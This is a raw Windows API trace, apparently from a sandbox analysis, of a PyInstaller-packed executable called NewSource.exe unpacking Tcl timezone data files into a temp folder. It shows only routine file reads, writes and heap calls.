0x0 [0039.147] SetLastError (dwErrCode=0x0) [0039.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.148] GetFileType (hFile=0x10c) returned 0x1 [0039.148] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.148] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.148] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.148] CloseHandle (hObject=0x10c) returned 1 [0039.148] GetLastError () returned 0x0 [0039.148] SetLastError (dwErrCode=0x0) [0039.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.148] GetFileType (hFile=0x10c) returned 0x1 [0039.148] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.148] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.149] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.149] CloseHandle (hObject=0x10c) returned 1 [0039.149] GetLastError () returned 0x0 [0039.149] SetLastError (dwErrCode=0x0) [0039.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Maceio") returned 71 [0039.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Maceio" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\maceio"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.149] GetLastError () returned 0x2 [0039.149] SetLastError (dwErrCode=0x2) [0039.149] GetLastError () returned 0x2 [0039.149] SetLastError (dwErrCode=0x2) [0039.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Maceio", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Maceio", lpFilePart=0x0) returned 0x46 [0039.149] GetLastError () returned 0x2 [0039.149] SetLastError (dwErrCode=0x2) [0039.149] GetLastError () returned 0x2 [0039.149] SetLastError (dwErrCode=0x2) [0039.149] GetLastError () returned 0x2 [0039.149] SetLastError (dwErrCode=0x2) [0039.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Maceio") returned 71 [0039.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Maceio" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\maceio"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.150] GetFileType (hFile=0x10c) returned 0x1 [0039.150] htonl (hostlong=0xe3050000) returned 0x5e3 [0039.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.150] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5e3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5e3, lpOverlapped=0x0) returned 1 [0039.151] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.151] CloseHandle (hObject=0x10c) returned 1 [0039.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.152] htonl (hostlong=0x30000000) returned 0x30 [0039.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.152] GetFileType (hFile=0x10c) returned 0x1 [0039.152] htonl (hostlong=0xa4885900) returned 0x5988a4 [0039.152] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e38a4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.152] htonl (hostlong=0xfb000000) returned 0xfb [0039.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0039.152] htonl (hostlong=0xfb000000) returned 0xfb [0039.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.152] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.152] htonl (hostlong=0x4e020000) returned 0x24e [0039.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24e) returned 0x550708 [0039.152] htonl (hostlong=0xfb000000) returned 0xfb [0039.152] htonl (hostlong=0x4e020000) returned 0x24e [0039.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.153] CloseHandle (hObject=0x10c) returned 1 [0039.153] GetLastError () returned 0x0 [0039.153] SetLastError (dwErrCode=0x0) [0039.153] GetLastError () returned 0x0 [0039.153] SetLastError (dwErrCode=0x0) [0039.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.153] GetFileType (hFile=0x10c) returned 0x1 [0039.153] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.153] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.153] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.153] CloseHandle (hObject=0x10c) returned 1 [0039.153] GetLastError () returned 0x0 [0039.153] SetLastError (dwErrCode=0x0) [0039.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.154] GetFileType (hFile=0x10c) returned 0x1 [0039.154] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.154] CloseHandle (hObject=0x10c) returned 1 [0039.154] GetLastError () returned 0x0 [0039.154] SetLastError (dwErrCode=0x0) [0039.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.154] GetFileType (hFile=0x10c) returned 0x1 [0039.154] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.155] CloseHandle (hObject=0x10c) returned 1 [0039.155] GetLastError () returned 0x0 [0039.155] SetLastError (dwErrCode=0x0) [0039.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Managua") returned 72 [0039.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Managua" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\managua"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.155] GetLastError () returned 0x2 [0039.155] SetLastError (dwErrCode=0x2) [0039.155] GetLastError () returned 0x2 [0039.155] SetLastError (dwErrCode=0x2) [0039.155] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Managua", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Managua", lpFilePart=0x0) returned 0x47 [0039.155] GetLastError () returned 0x2 [0039.155] SetLastError (dwErrCode=0x2) [0039.155] GetLastError () returned 0x2 [0039.155] SetLastError (dwErrCode=0x2) [0039.155] GetLastError () returned 0x2 [0039.155] SetLastError (dwErrCode=0x2) [0039.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Managua") returned 72 [0039.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Managua" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\managua"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.155] GetFileType (hFile=0x10c) returned 0x1 [0039.156] htonl (hostlong=0x4e020000) returned 0x24e [0039.156] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.156] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x24e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x24e, lpOverlapped=0x0) returned 1 [0039.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.157] CloseHandle (hObject=0x10c) returned 1 [0039.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550708 | out: hHeap=0x530000) returned 1 [0039.157] htonl (hostlong=0x30000000) returned 0x30 [0039.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.175] GetFileType (hFile=0x10c) returned 0x1 [0039.175] htonl (hostlong=0x9f895900) returned 0x59899f [0039.175] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e399f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.175] htonl (hostlong=0x4a010000) returned 0x14a [0039.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14a) returned 0x550600 [0039.175] htonl (hostlong=0x4a010000) returned 0x14a [0039.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.175] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.175] htonl (hostlong=0x76040000) returned 0x476 [0039.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x476) returned 0x550758 [0039.175] htonl (hostlong=0x4a010000) returned 0x14a [0039.175] htonl (hostlong=0x76040000) returned 0x476 [0039.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.175] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.175] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.175] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.175] CloseHandle (hObject=0x10c) returned 1 [0039.175] GetLastError () returned 0x0 [0039.175] SetLastError (dwErrCode=0x0) [0039.175] GetLastError () returned 0x0 [0039.175] SetLastError (dwErrCode=0x0) [0039.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.175] GetFileType (hFile=0x10c) returned 0x1 [0039.176] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.176] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.176] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.176] CloseHandle (hObject=0x10c) returned 1 [0039.176] GetLastError () returned 0x0 [0039.176] SetLastError (dwErrCode=0x0) [0039.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.176] GetFileType (hFile=0x10c) returned 0x1 [0039.176] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.176] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.176] 